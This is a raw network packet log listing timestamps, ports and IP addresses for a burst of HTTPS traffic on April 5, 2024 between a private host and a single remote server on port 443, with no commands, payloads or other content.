Apr 5, 2024 20:10:29.493136883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.493160963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.493165016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.493191957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.494298935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.494318962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.494420052 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.494421005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.494426966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.495831013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.495846033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.496007919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.496012926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.496949911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.496970892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.497087955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.497087955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.497093916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498151064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498171091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498244047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.498244047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.498249054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498377085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498646975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.498651981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.498970032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.499211073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.499228001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.499305010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.499310017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.499412060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.501565933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.501583099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.501668930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.501673937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.501749992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.502564907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.502580881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.502902031 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.502909899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.503324032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.503343105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.503400087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.503429890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.503429890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.503436089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.503459930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.503511906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.504184008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.504204988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.504307985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.504307985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.504313946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.504379034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.504734039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.504750013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.504908085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.504913092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505094051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505114079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505119085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505129099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505143881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505177975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505500078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505517006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505544901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505604982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505604982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505615950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505672932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505863905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505882025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.505959988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505959988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.505964994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506069899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.506247997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506264925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506405115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.506409883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506513119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506531000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506539106 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.506546974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.506562948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.506650925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507009029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507024050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507064104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507088900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507088900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507100105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507114887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507184982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507447958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507463932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507545948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507550955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507662058 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507878065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507896900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.507965088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507965088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.507970095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508179903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508198977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508208036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508222103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508243084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508419991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508514881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508532047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508583069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508604050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508608103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.508629084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508645058 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.508979082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509000063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509083033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509083033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509088039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509255886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509283066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509314060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509319067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509341002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509367943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509624958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509640932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509974003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.509978056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.509994984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510015965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510020971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510026932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510050058 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510067940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510097027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510102034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510123968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510481119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510497093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510562897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510562897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510569096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510862112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510880947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510921001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.510925055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.510966063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511275053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511290073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511370897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511370897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511375904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511568069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511590004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511620045 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511622906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511632919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511645079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511740923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511744976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511939049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511955023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511965036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.511969090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.511991024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512034893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512345076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512361050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512428999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512428999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512433052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512501001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512732029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512751102 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512818098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512818098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.512824059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.512877941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513015032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513031960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513081074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513103008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513108015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513132095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513464928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513500929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513519049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513591051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513591051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513596058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513710976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.513928890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.513951063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514041901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514041901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514046907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514101028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514308929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514326096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514400959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514406919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514550924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514770031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514787912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514821053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514825106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514867067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514867067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.514883041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.514926910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.850640059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.850661993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.850749016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.850778103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.850802898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.850866079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.852058887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.852077007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.852368116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.852374077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.852658033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.853598118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.853615046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.853771925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.853804111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.853807926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.853823900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.853842974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.853943110 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.853948116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.855042934 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.855062962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.855151892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.855151892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.855156898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.855271101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.855933905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.855956078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.856041908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.856041908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.856045961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.856993914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857012987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857057095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857073069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857086897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857091904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857104063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857129097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857152939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857156038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857172966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857182026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857207060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857211113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857218981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857250929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857279062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857294083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857306957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857311010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857321024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857366085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857393026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857402086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857405901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857423067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857424021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857439995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857451916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857455969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857474089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857512951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857512951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.857631922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.857738972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.858068943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.858088017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.858169079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.858169079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.858175039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.858565092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.858582020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.858638048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.858639002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.858644009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859127045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859143019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859191895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859217882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859222889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859222889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859229088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859250069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859268904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859293938 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859302044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859309912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859323025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859323978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859355927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859360933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859415054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859813929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859833956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859863997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.859869957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.859958887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860207081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860227108 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860245943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860250950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860261917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860269070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860280991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860292912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860296965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860311985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860328913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860357046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860361099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860378981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860400915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860414028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860460997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860475063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860477924 CEST	443	49727	140.82.114.10	192.168.2.6
